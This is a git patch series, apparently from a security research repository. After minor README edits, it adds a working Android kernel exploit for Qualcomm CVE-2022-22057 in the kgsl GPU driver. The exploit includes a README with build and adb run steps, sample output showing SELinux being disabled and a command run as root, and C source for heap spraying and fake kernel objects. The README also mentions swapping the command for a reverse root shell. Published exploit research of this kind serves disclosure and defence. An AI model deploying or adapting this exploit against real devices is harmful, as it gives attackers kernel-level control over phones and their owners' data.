-The recommendations from the GitHub Security Lab are provided graciously and it's ultimately the responsibility of the recipients to apply them or not. This concern recommendations given through our written or audio content, our conferences, our answers in our community spaces, or our informal office hours.
+The recommendations from the GitHub Security Lab are provided graciously and it's ultimately the responsibility of the recipients to apply them or not. This concerns recommendations given through our written or audio content, our conferences, our answers in our community spaces, or our informal office hours.
 
 ## Contributing
 

From dcbe0de65aaf1ddbac06c94e53f973efe3250fbc Mon Sep 17 00:00:00 2001
From: Jorge <46056498+jorgectf@users.noreply.github.com>
Date: Thu, 28 Apr 2022 19:51:16 +0200
Subject: [PATCH 088/104] Add Emacs plugin to list

---
 README.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/README.md b/README.md
index 24bc4c1..4253a4e 100644
--- a/README.md
+++ b/README.md
@@ -57,6 +57,7 @@ We use it for these main purposes:
 * Editor plugins
   * [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) (Official)
   * [Neovim](https://github.com/pwntester/codeql.nvim)
+  * [Emacs](https://github.com/anticomputer/emacs-codeql)
 * Code generation
   * [cqlgen](https://github.com/gagliardetto/cqlgen) — A codeql generation library written in Go.
   * [codemill](https://github.com/gagliardetto/codemill) — A codeql model generator for Go with a web UI. 

From faaa312db732747d627b9c5e9a8bc99a8be683a0 Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Thu, 16 Jun 2022 14:35:20 +0100
Subject: [PATCH 089/104] Initial commit

---
 .../Android/Qualcomm/CVE-2022-22057/README.md |  87 ++
 .../Qualcomm/CVE-2022-22057/addr_utils.h      |  38 +
 .../Qualcomm/CVE-2022-22057/cpu_utils.c       |  45 +
 .../Qualcomm/CVE-2022-22057/cpu_utils.h       |   7 +
 .../Qualcomm/CVE-2022-22057/fake_obj_util.c   | 120 +++
 .../Qualcomm/CVE-2022-22057/fake_obj_util.h   |  92 ++
 .../Qualcomm/CVE-2022-22057/ion_utils.c       |  94 +++
 .../Qualcomm/CVE-2022-22057/ion_utils.h       | 117 +++
 .../Qualcomm/CVE-2022-22057/kgsl_ioctl.h      | 209 +++++
 .../Qualcomm/CVE-2022-22057/sendmsg_spray.c   | 187 ++++
 .../Qualcomm/CVE-2022-22057/sendmsg_spray.h   |  32 +
 .../Qualcomm/CVE-2022-22057/signalfd_spray.c  |  69 ++
 .../Qualcomm/CVE-2022-22057/signalfd_spray.h  |  15 +
 .../Qualcomm/CVE-2022-22057/timeline_wait.c   | 799 ++++++++++++++++++
 .../CVE-2022-22057/work_queue_utils.c         | 307 +++++++
 .../CVE-2022-22057/work_queue_utils.h         |  26 +
 16 files changed, 2244 insertions(+)
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/README.md
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/addr_utils.h
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.c
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.h
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.c
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.h
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.c
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.h
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/kgsl_ioctl.h
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.c
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.h
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.c
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.h
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/timeline_wait.c
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.c
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2022-22057/work_queue_utils.h

diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/README.md b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/README.md
new file mode 100644
index 0000000..2fc658c
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/README.md
@@ -0,0 +1,87 @@
+## Exploit for Qualcomm CVE-2022-22057
+
+The write up can be found [here](https://github.blog/2022-06-16-the-android-kernel-mitigations-obstacle-race/). This is a bug in the Qualcomm kgsl driver that I reported in November 2021. The bug can be used to gain arbitrary kernel memory read and write from the untrusted app domain, which is then used to disable SELinux and gain root.
+
+The exploit is tested on the Samsung Galaxy Z Flip 3 (European version SM-F711B) with firmware version F711BXXS2BUL6, Baseband F711BXXU2BUL4 and Kernel version 5.4.86-qgki-23063627-abF711BXXS2BUL6 (EUX region). The offsets in the exploit refer to that version of the firmware. Apart from the usual offsets in the kernel image, various addresses of the ion memory pools in `ion_utils.c` are also firmware specific. For reference, I used the following command to compile with clang in ndk-21:
+
+```
+android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline
+```
+
+The exploit is reasonably reliable (~70% on tested device), although it does need to wait a few minutes after start up before running, as there are way too many broken/failed binder calls during the first few minutes of start up. (Not entirely sure whether it is a Qualcomm or Samsung problem)
+
+To test, cross compile the file and then execute with `adb`:
+
+```
+adb push timeline /data/local/tmp
+adb shell
+b2q:/ $ /data/local/tmp/timeline
+```
+
+If succeeded, it will disable SELinux and run the `id` command as root and write the results in the `/data/local/tmp/id.txt` file:
+
+```
+b2q:/ $ /data/local/tmp/timeline
+heap_id_mask 40
+ion region 0x75a0ccf000
+region start addr: ffffff8071800000
+fence kernel addr: ffffff8071fe0040 192
+created fake slab at ffffff8071840100
+[+] reallocation data initialized!
+[ ] initializing reallocation threads, please wait...
+[+] 40 reallocation threads ready!
+timeline_wait start
+readpipe start
+destroy start
+readpipe
+Caught signal: 10
+ wait complete -1
+readpipe finished
+destroy finished
+cb_list ffffffc02d943bf8 temp ffffffc02d943c48
+mask 52424242 60
+cpu_id 0
+interval number 1
+mask 7f8e7bfeff 7
+thread number 0 7 20014
+thread batch number 0
+new mask 7f8e7bfeff ffffff8071840100
+region_offset 40100
+sprayed 1024 ion buffer
+start searching for buffer
+Found 7 ion regions
+heap_ops ffffffc012e17180, kernel base: a00b8000
+set enforcing to permissive
+[+] successfully overwritten selinux_enforcing
+wq_ptr_addr: ffffffc012dc2518
+wq_addr: ffffff81f4cf1200
+pwq_addr ffffff81e24ea100
+pool_addr ffffff805ff7c000
+worklist ffffff805ff7c020 ffffff805ff7c020
+queue work
+max_active 256 nr_active 0
+queuing work, waiting to aquire spin lock
+work_queued
+work processed
+complete 0
+ret 0
+nr_active 0
+worklist ffffff805ff7c020
+work next ffffff8071842c08
+[+] successfully run command and added id.txt in /data/local/tmp
+finished queue work
+freeing ion dma fd
+finished freeing ion dma fd
+finished spraying
+finished
+```
+There is a long pause after `wait complete -1` is printed, which should be less than a minute, this is normal. It can sometimes also take a while to queue the work (after `queuing work, waiting to aquire spin lock` is printed, can be a couple of minutes, just need to be patient, although that is not common). The exploit normally completes in a couple of minutes.
+
+The file `/data/local/tmp/id.txt` should confirm that the command was run as root:
+
+```
+b2q:/ $ cat /data/local/tmp/id.txt
+uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
+```
+
+A different command can be run by changing the variable `cmd` in `setup_sub_info` in `work_queue_utils.c`. (For example, to pop a reverse root shell).
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/addr_utils.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/addr_utils.h
new file mode 100644
index 0000000..0843796
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/addr_utils.h
@@ -0,0 +1,38 @@
+#ifndef ADDR_UTILS
+#define ADDR_UTILS
+
+#define PHYS_TO_VIRT_OFF 0x8080000000ul
+
+#define VMEMMAP 0xfffffffefde00000ul
+
+#define KERNEL_PBASE 0xa0080000
+
+#define KERNEL_VBASE 0xffffffc010080000ul
+
+//_text - kernel physical base
+#define KERNEL_PHYS_OFF (KERNEL_VBASE - KERNEL_PBASE)
+
+static inline uint64_t page_align(uint64_t x) {
+  return (x >> 12) << 12;
+}
+
+static inline uint64_t phys_to_virt(uint64_t x) {
+  return (uint64_t)(x) - PHYS_TO_VIRT_OFF;
+}
+
+static inline uint64_t virt_to_phys_lm(uint64_t x) {
+  if (x & (1ul << 38)) err(1, "address is not in low mem range.\n");
+  return x + PHYS_TO_VIRT_OFF;
+}
+
+static inline uint64_t virt_to_phys(uint64_t x) {
+  if (x & (1ul << 38)) return x - (KERNEL_VBASE - KERNEL_PBASE);
+  return x + PHYS_TO_VIRT_OFF;
+}
+
+static inline uint64_t phys_to_page(uint64_t phys_addr) {
+  //VMEMMAP interpreted as page pointer, so pfn needs to multiply by sizeof(struct page)
+  return (phys_addr >> 12) * 64 + VMEMMAP;
+}
+
+#endif
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.c b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.c
new file mode 100644
index 0000000..38b4fc0
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.c
@@ -0,0 +1,45 @@
+#include <sys/syscall.h>
+#include <err.h>
+#include <errno.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sched.h>
+#include <unistd.h>
+#include <string.h>
+
+#include "cpu_utils.h"
+
+#define CPU_SETSIZE 1024
+#define __NCPUBITS  (8 * sizeof (unsigned long))
+typedef struct
+{
+   unsigned long __bits[CPU_SETSIZE / __NCPUBITS];
+} cpu_set_t;
+
+#define CPU_SET(cpu, cpusetp) \
+  ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS)))
+#define CPU_ZERO(cpusetp) \
+  memset((cpusetp), 0, sizeof(cpu_set_t))
+
+int migrate_to_cpu(int i)
+{
+    int syscallres;
+    pid_t pid = gettid();
+    cpu_set_t cpu;
+    CPU_ZERO(&cpu);
+    CPU_SET(i, &cpu);
+
+    syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu);
+    if (syscallres)
+    {
+        return -1;
+    }
+    return 0;
+}
+
+int check_cpu_affinity() {
+  if (migrate_to_cpu(4) == -1) return 4;
+  if (migrate_to_cpu(5) == -1) return 5;
+  return -1;
+}
+
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.h
new file mode 100644
index 0000000..85f53b3
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.h
@@ -0,0 +1,7 @@
+#ifndef CPU_UTILS
+#define CPU_UTILS
+
+int migrate_to_cpu(int i);
+
+int check_cpu_affinity();
+#endif
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.c b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.c
new file mode 100644
index 0000000..fe9e115
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.c
@@ -0,0 +1,120 @@
+#include "fake_obj_util.h"
+#include "addr_utils.h"
+
+static uint64_t vaddr_offset = 0;
+
+static inline uint64_t get_vaddr(struct list_head* ptr) {
+  return (uint64_t)ptr + vaddr_offset;
+}
+
+static void init_list_head(struct list_head *list)
+{
+	list->next = get_vaddr(list);
+	list->prev = get_vaddr(list);
+}
+
+static void list_add(struct list_head *new, struct list_head *prev,
+			    struct list_head * start)
+{
+	start->prev = get_vaddr(new);
+	new->next = get_vaddr(start);
+	new->prev = get_vaddr(prev);
+	prev->next = get_vaddr(new);
+}
+
+static uint64_t add_zero_filled_area(void* region, size_t offset) {
+  memset(region + offset, 0, ZERO_FILL_SZ);
+  return ZERO_FILL_SZ + offset;
+}
+
+static struct list_head* get_list(struct kgsl_timeline_fence* fence) {
+  return &fence->node;
+}
+
+static void init_fence(struct kgsl_timeline_fence* fence, uint64_t zero_fill_addr, int check) {
+  struct dma_fence* base = &fence->base;
+  base->flags = 0;
+  base->refcount = 0;
+  if (check) {
+    base->cb_list.next = 0x41414141;
+    base->cb_list.prev = 0x42424242;
+
+  } else {
+    init_list_head(&base->cb_list);
+  }
+  base->ops = zero_fill_addr;
+}
+
+static uint64_t create_fake_fences(void* region, uint64_t offset, uint64_t chain_size, uint64_t zero_fill_addr) {
+  struct kgsl_timeline_fence* start = (struct kgsl_timeline_fence*)(region + offset);
+  struct kgsl_timeline_fence* prev = start;
+  struct list_head* start_list = get_list(start);
+  struct list_head* prev_list = start_list;
+  init_list_head(start_list);
+  init_fence(start, zero_fill_addr, 0);
+  offset += 128;
+  for (uint64_t i = 1; i < chain_size; i++) {
+    struct kgsl_timeline_fence* curr = (struct kgsl_timeline_fence*)(region + offset);
+    struct list_head* curr_list = get_list(curr);
+    init_list_head(curr_list);
+    if (i == chain_size - 1) {
+      init_fence(curr, zero_fill_addr, 0);
+    } else {
+      init_fence(curr, zero_fill_addr, 0);
+    }
+    list_add(curr_list, prev_list, start_list);
+    prev = curr;
+    prev_list = curr_list;    
+    offset += 128;
+  }
+  return offset;
+}
+
+uint64_t fill_ion_heap(void* region, size_t chain_size, size_t region_size, uint64_t region_vaddr) {
+  if (sizeof(struct kgsl_timeline_fence) > 128) err(1, "kgsl_timeline_fence too big\n");
+  if (chain_size < 2) err(1, "chain size should be greater than 1.\n");
+  uint64_t fake_size = chain_size * 128 + ZERO_FILL_SZ;
+  if (fake_size > region_size) err(1, "chain of fake objects does not fit into region.\n");
+  uint64_t offset = (region_size - fake_size)/2;
+  vaddr_offset = region_vaddr - (uint64_t)region;
+  uint64_t zero_fill_addr = region_vaddr + offset;
+  offset = add_zero_filled_area(region, offset);
+  uint64_t out = offset;
+  offset = create_fake_fences(region, offset, chain_size, zero_fill_addr);
+  return out;
+}
+
+uint64_t poll_list_addr(void* fence_start, size_t chain_size, uint64_t fence_kstart) {
+  struct kgsl_timeline_fence* start = (struct kgsl_timeline_fence*)fence_start;
+  struct kgsl_timeline_fence* curr = (struct kgsl_timeline_fence*)fence_start;
+  struct dma_fence* base = &curr->base;
+  base->flags = 0;
+  struct list_head* cb_list = &base->cb_list;
+  if (cb_list->prev > (fence_kstart + chain_size * 128)) {
+    struct list_head* node = get_list(curr);
+    node->next = cb_list->prev + STACK_OFFSET;
+    base->refcount = 0;
+    base->flags = 1;
+    return cb_list->prev;
+  }
+  return 0;
+}
+
+void create_fake_sgtable(uint8_t* table_region, uint64_t table_vaddr, uint64_t phys_addr, size_t len) {
+  struct sg_table* table = (struct sg_table*)table_region;
+  table->nents = 1;
+  table->orig_nents = 1;
+  table->sgl = (struct scatterlist*)(table_vaddr + 128);
+  struct scatterlist* sg = (struct scatterlist*)(table_region + 128);
+  uint64_t page_link = phys_to_page(phys_addr);
+  sg->page_link = page_link |= 0x2ul;
+  sg->length = len;
+  sg->offset = 0;
+}
+
+void patch_ion_buffer(struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t phys_addr, size_t size) {
+  create_fake_sgtable(table_region, table_vaddr, (phys_addr >> 12) << 12, size);
+  buffer->sg_table = (struct sg_table*)table_vaddr;
+  buffer->size = size;
+}
+
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.h
new file mode 100644
index 0000000..bff6d15
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.h
@@ -0,0 +1,92 @@
+#ifndef FAKE_OBJ_UTIL
+#define FAKE_OBJ_UTIL
+
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define ZERO_FILL_SZ 128
+
+#define STACK_OFFSET 0x50
+
+//offset of node in kgsl_timeline_fence
+#define NODE_OFF 0x48
+
+struct list_head {
+	uint64_t next, prev;
+};
+
+typedef struct {
+	int counter;
+} atomic_t;
+
+typedef struct refcount_struct {
+	atomic_t refs;
+} refcount_t;
+
+struct kref {
+	refcount_t refcount;
+};
+
+struct dma_fence {
+	void *lock;
+	uint64_t ops;
+	union {
+		struct list_head cb_list;
+		int64_t timestamp;
+	};
+	uint64_t context;
+	uint64_t seqno;
+	unsigned long flags;
+	uint32_t refcount;
+	int error;
+};
+
+struct kgsl_timeline_fence {
+	struct dma_fence base;
+	void *timeline;
+	struct list_head node;
+};
+
+struct scatterlist {
+	unsigned long	page_link;
+	unsigned int	offset;
+	unsigned int	length;
+	uint64_t	dma_address;
+	unsigned int	dma_length;
+};
+
+struct sg_table {
+	struct scatterlist *sgl;	/* the list */
+	unsigned int nents;		/* number of mapped entries */
+	unsigned int orig_nents;	/* original size of list */
+};
+
+struct ion_buffer {
+	struct list_head list;
+	void *heap;
+	unsigned long flags;
+	unsigned long private_flags;
+	size_t size;
+	void *priv_virt;
+	uint8_t lock[32];
+	int kmap_cnt;
+	void *vaddr;
+	struct sg_table *sg_table;
+	struct list_head attachments;
+};
+
+uint64_t fill_ion_heap(void* region, size_t chain_size, size_t region_size, uint64_t region_vaddr);
+
+uint64_t poll_list_addr(void* fence_start, size_t chain_size, uint64_t region_vaddr);
+
+void fake_ion_heap(void* region);
+
+void patch_ion_buffer(struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t phys_addr, size_t size);
+
+#endif
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.c b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.c
new file mode 100644
index 0000000..f4173d9
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.c
@@ -0,0 +1,94 @@
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include "ion_utils.h"
+
+uint64_t ion_heap_phys_addr(uint32_t id) {
+  //Specific to Z flip 3
+  switch (id) {
+    case ION_AUDIO_ML_HEAP_ID: //audio_cma_region
+      return 0xe8000000;
+    case ION_SECURE_DISPLAY_HEAP_ID://secure_display_region
+      return 0xf2800000;
+    case ION_QSECOM_TA_HEAP_ID://qseecom_ta_region
+      return 0xe2000000;
+    case ION_QSECOM_HEAP_ID://qseecom_region
+      return 0xe6400000;
+    case ION_USER_CONTIG_HEAP_ID://user_contig_region
+      return 0xf1800000;
+    case ION_SPSS_HEAP_ID://sp_region
+      return 0xecc00000;
+    case ION_ADSP_HEAP_ID://sdsp_region
+      return 0xedc00000;
+    case ION_SECURE_CARVEOUT_HEAP_ID://ion_secure_carveout
+      return 0x80c00000;
+    default:
+      err(1, "heap does not have physical address\n");
+  }
+}
+
+uint64_t ion_heap_size(uint32_t id) {
+  //Specific to Z flip 3
+  switch (id) {
+    case ION_AUDIO_ML_HEAP_ID: //audio_cma_region
+      return 28 * 1024 * 1024;
+    case ION_SECURE_DISPLAY_HEAP_ID://secure_display_region
+      return 212 * 1024 * 1024;
+    case ION_QSECOM_TA_HEAP_ID://qseecom_ta_region
+      return 32 * 1024 * 1024;
+    case ION_QSECOM_HEAP_ID://qseecom_region
+      return 28 * 1024 * 1024;
+    case ION_USER_CONTIG_HEAP_ID://user_contig_region
+      return 16 * 1024 * 1024;
+    case ION_SPSS_HEAP_ID://sp_region
+      return 16 * 1024 * 1024;
+    case ION_ADSP_HEAP_ID://sdsp_region
+      return 8 * 1024 * 1024;
+    case ION_SECURE_CARVEOUT_HEAP_ID://ion_secure_carveout
+      return 0x600000;
+    default:
+      err(1, "heap does not have physical address\n");
+  }
+}
+
+void* spray_ion_heap(uint32_t id, size_t size) {
+  int fd = open("/dev/ion", O_RDONLY);
+  if (fd == -1) err(1, "cannot open ion\n");
+  void* region = map_ion_region(fd, id, size);
+  printf("ion region %p\n", region);
+  if (region == NULL) err(1, "failed to map ion\n");
+  return region;
+}
+
+int ion_allocate(int ion_fd, uint32_t id, size_t len) {
+  struct ion_allocation_data ion_alloc_data = {0};
+  ion_alloc_data.len = len;
+  ion_alloc_data.heap_id_mask = id;
+  int ret = ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data);
+  if (ret < 0) err(1, "Failed to allocate ion buffer\n");
+  return ion_alloc_data.fd;
+}
+
+void* map_ion_region(int ion_fd, uint32_t id, size_t len) {
+  void* ion_region = NULL;
+  struct ion_allocation_data ion_alloc_data = {0};
+  ion_alloc_data.len = len;
+  ion_alloc_data.heap_id_mask = id;
+  printf("heap_id_mask %x\n", ion_alloc_data.heap_id_mask);
+  int ret = ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data);
+  if (ret == -ENOMEM) return NULL;
+  if (ret < 0) err(1, "Failed to allocate ion buffer\n");
+  ion_region = mmap(NULL, len, PROT_READ|PROT_WRITE, MAP_SHARED, ion_alloc_data.fd, 0);
+  if (ion_region == MAP_FAILED) {
+    err(1, "map failed");
+  }
+  return ion_region;  
+}
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.h
new file mode 100644
index 0000000..9f3652a
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/ion_utils.h
@@ -0,0 +1,117 @@
+#ifndef ION_UTILS
+#define ION_UTILS
+#include <unistd.h>
+
+enum ion_heap_type {
+	ION_HEAP_TYPE_SYSTEM,
+	ION_HEAP_TYPE_SYSTEM_CONTIG,
+	ION_HEAP_TYPE_CARVEOUT,
+	ION_HEAP_TYPE_CHUNK,
+	ION_HEAP_TYPE_DMA,
+	ION_HEAP_TYPE_CUSTOM, /*
+			       * must be last so device specific heaps always
+			       * are at the end of this enum
+			       */
+	ION_NUM_HEAPS = 16,
+};
+
+#define ION_HEAP_SYSTEM_MASK		((1 << ION_HEAP_TYPE_SYSTEM))
+#define ION_HEAP_SYSTEM_CONTIG_MASK	((1 << ION_HEAP_TYPE_SYSTEM_CONTIG))
+#define ION_HEAP_CARVEOUT_MASK		((1 << ION_HEAP_TYPE_CARVEOUT))
+#define ION_HEAP_TYPE_DMA_MASK		((1 << ION_HEAP_TYPE_DMA))
+
+#define ION_NUM_HEAP_IDS		(sizeof(unsigned int) * 8)
+#define ION_FLAG_CACHED 1		
+#define ION_FLAG_CACHED_NEEDS_SYNC 2	
+struct ion_allocation_data {
+	size_t len;
+	unsigned int heap_id_mask;
+	unsigned int flags;
+    uint32_t fd;
+    uint32_t unused;
+};
+
+struct ion_custom_data {
+	unsigned int cmd;
+	unsigned long arg;
+};
+
+#define ION_IOC_MAGIC		'I'
+
+#define ION_IOC_ALLOC		_IOWR(ION_IOC_MAGIC, 0, \
+				      struct ion_allocation_data)
+
+#define ION_IOC_FREE		_IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
+
+#define ION_IOC_MAP		_IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
+
+#define ION_IOC_SHARE		_IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
+
+#define ION_IOC_IMPORT		_IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data)
+
+#define ION_IOC_SYNC		_IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
+
+#define ION_IOC_CUSTOM		_IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
+
+#define ION_BIT(nr) (1UL << (nr))
+
+#define ION_HEAP(bit)			ION_BIT(bit)
+
+#define ION_QSECOM_TA_HEAP_ID		ION_BIT(1)
+#define ION_CAMERA_HEAP_ID		ION_BIT(30)
+#define ION_DISPLAY_HEAP_ID		ION_BIT(3)
+#define ION_ADSP_HEAP_ID		ION_BIT(4)
+#define ION_AUDIO_ML_HEAP_ID		ION_BIT(5)
+#define ION_USER_CONTIG_HEAP_ID		ION_BIT(6)
+#define ION_QSECOM_HEAP_ID		ION_BIT(7)
+#define ION_AUDIO_HEAP_ID		ION_BIT(8)
+#define ION_CP_MM_HEAP_ID		ION_BIT(9)
+#define ION_SECURE_HEAP_ID		ION_BIT(10)
+#define ION_SECURE_DISPLAY_HEAP_ID	ION_BIT(11)
+#define ION_SPSS_HEAP_ID		ION_BIT(14)
+#define ION_SECURE_CARVEOUT_HEAP_ID	ION_BIT(15)
+#define ION_TUI_CARVEOUT_HEAP_ID	ION_BIT(16)
+#define ION_AUDIO_CARVEOUT_HEAP_ID	ION_BIT(17)
+#define ION_SYSTEM_HEAP_ID		ION_BIT(25)
+#define ION_HEAP_ID_RESERVED		ION_BIT(31)
+
+#define ION_ADSP_HEAP_NAME	"adsp"
+#define ION_SYSTEM_HEAP_NAME	"system"
+#define ION_MM_HEAP_NAME	"mm"
+#define ION_SPSS_HEAP_NAME	"spss"
+#define ION_CAMERA_HEAP_NAME    "camera_heap"
+#define ION_SECURE_CARVEOUT_HEAP_NAME	"secure_carveout"
+#define ION_USER_CONTIG_HEAP_NAME	"user_contig"
+#define ION_QSECOM_HEAP_NAME	"qsecom"
+#define ION_QSECOM_TA_HEAP_NAME	"qsecom_ta"
+#define ION_SECURE_HEAP_NAME	"secure_heap"
+#define ION_SECURE_DISPLAY_HEAP_NAME "secure_display"
+#define ION_AUDIO_HEAP_NAME    "audio"
+#define ION_TUI_CARVEOUT_HEAP_NAME "tui_carveout"
+#define ION_DISPLAY_HEAP_NAME "display"
+#define ION_AUDIO_ML_HEAP_NAME "audio_ml"
+
+#define ION_HEAP_FLAG_DEFER_FREE (1 << 0)
+
+//Device/firmware specific
+#define ION_HEAP_OPS_OBJ_OFF 0x30
+
+#define ION_HEAP_FREELIST_OFF 0x120
+
+#define ION_HEAP_FLAGS_OFF 0xc0
+
+#define ION_HEAP_WAITQUEUE_OFF 0x140
+
+#define ION_HEAP_OPS_OFF 0x2d5f180
+
+uint64_t ion_heap_phys_addr(uint32_t id);
+
+void* map_ion_region(int ion_fd, uint32_t id, size_t len);
+
+uint64_t ion_heap_size(uint32_t id);
+
+void* spray_ion_heap(uint32_t id, size_t size);
+
+int ion_allocate(int ion_fd, uint32_t id, size_t len);
+
+#endif
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/kgsl_ioctl.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/kgsl_ioctl.h
new file mode 100644
index 0000000..cc4555a
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/kgsl_ioctl.h
@@ -0,0 +1,209 @@
+#ifndef KGSL_IOCTL
+#define KGSL_IOCTL
+
+#define VM_MAYWRITE	0x00000020
+
+/* ioctls */
+#define KGSL_IOC_TYPE 0x09
+
+#define IOCTL_KGSL_GPUOBJ_IMPORT \
+	_IOWR(KGSL_IOC_TYPE, 0x48, struct kgsl_gpuobj_import)
+
+#define ION_IOC_MAGIC		'I'
+
+#define ION_IOC_ALLOC		_IOWR(ION_IOC_MAGIC, 0, \
+				      struct ion_allocation_data)
+
+#define ION_IOC_FREE		_IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
+
+#define ION_IOC_MAP		_IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
+
+#define ION_IOC_SHARE		_IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
+
+#define ION_IOC_IMPORT		_IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data)
+
+#define ION_IOC_SYNC		_IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
+
+#define ION_IOC_CUSTOM		_IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
+
+#define ION_BIT(nr) (1UL << (nr))
+
+#define ION_HEAP(bit)			ION_BIT(bit)
+
+#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL
+
+#define KGSL_MEMFLAGS_SECURE      0x00000008ULL
+
+enum kgsl_user_mem_type {
+	KGSL_USER_MEM_TYPE_PMEM		= 0x00000000,
+	KGSL_USER_MEM_TYPE_ASHMEM	= 0x00000001,
+	KGSL_USER_MEM_TYPE_ADDR		= 0x00000002,
+	KGSL_USER_MEM_TYPE_ION		= 0x00000003,
+	/*
+	 * ION type is retained for backwards compatibility but Ion buffers are
+	 * dma-bufs so try to use that naming if we can
+	 */
+	KGSL_USER_MEM_TYPE_DMABUF       = 0x00000003,
+	KGSL_USER_MEM_TYPE_MAX		= 0x00000007,
+};
+
+struct kgsl_gpuobj_import {
+	uint64_t __user priv;
+	uint64_t priv_len;
+	uint64_t flags;
+	unsigned int type;
+	unsigned int id;
+};
+
+struct kgsl_gpuobj_import_dma_buf {
+	int fd;
+};
+
+struct kgsl_gpuobj_import_useraddr {
+	uint64_t virtaddr;
+};
+
+struct kgsl_gpuobj_free {
+	uint64_t flags;
+	uint64_t __user priv;
+	unsigned int id;
+	unsigned int type;
+	unsigned int len;
+};
+
+#define KGSL_GPUOBJ_FREE_ON_EVENT 1
+
+#define KGSL_GPU_EVENT_TIMESTAMP 1
+#define KGSL_GPU_EVENT_FENCE     2
+
+struct kgsl_gpu_event_timestamp {
+	unsigned int context_id;
+	unsigned int timestamp;
+};
+
+struct kgsl_gpu_event_fence {
+	int fd;
+};
+
+#define IOCTL_KGSL_GPUOBJ_FREE \
